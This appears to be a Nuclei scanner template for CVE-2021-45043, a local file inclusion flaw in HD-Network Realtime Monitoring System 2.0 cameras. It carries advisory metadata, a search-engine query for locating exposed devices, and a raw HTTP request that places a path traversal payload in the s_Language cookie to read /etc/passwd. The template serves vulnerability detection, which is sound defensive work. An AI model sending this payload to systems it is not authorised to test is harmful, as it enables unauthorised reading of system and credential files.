id: CVE-2021-45043 info: name: HD-Network Realtime Monitoring System 2.0 - Local File Inclusion author: Momen Eldawakhly,Evan Rubinstein severity: high description: Instances of HD-Network Realtime Monitoring System version 2.0 are vulnerable to a Local File Inclusion vulnerability which allows remote unauthenticated attackers to view confidential information. remediation: | Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in HD-Network Realtime Monitoring System 2.0. reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-45043 - https://www.exploit-db.com/exploits/50588 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45043 - https://cyberguy0xd1.medium.com/my-cve-2021-45043-lfi-write-up-441dad30dd7f classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-45043 cwe-id: CWE-22 epss-score: 0.05404 epss-percentile: 0.92339 cpe: cpe:2.3:a:hd-network_real-time_monitoring_system_project:hd-network_real-time_monitoring_system:2.0:*:*:*:*:*:*:* metadata: max-request: 1 vendor: hd-network_real-time_monitoring_system_project product: hd-network_real-time_monitoring_system google-query: intitle:"HD-Network Real-time Monitoring System V2.0" tags: camera,edb,cve,cve2021,hdnetwork,lfi,iot http: - raw: - | GET /language/lang HTTP/1.1 Host: {{Hostname}} Referer: {{BaseURL}} Cookie: s_asptitle=HD-Network%20Real-time%20Monitoring%20System%20V2.0; s_Language=../../../../../../../../../../../../../../etc/passwd; s_browsertype=2; s_ip=; s_port=; s_channum=; s_loginhandle=; s_httpport=; s_sn=; s_type=; s_devtype= matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a00473045022078a862f5050b905e3ae9fcdf34bf42cbb175dee81b3e4fac12ec5a7b4c2c7624022100d26fac5b0f57cbefaabf33e2986a1f48646554079b4152bb8903ed1db5b2caa0:922c64590222798bb761d5b6d8e72950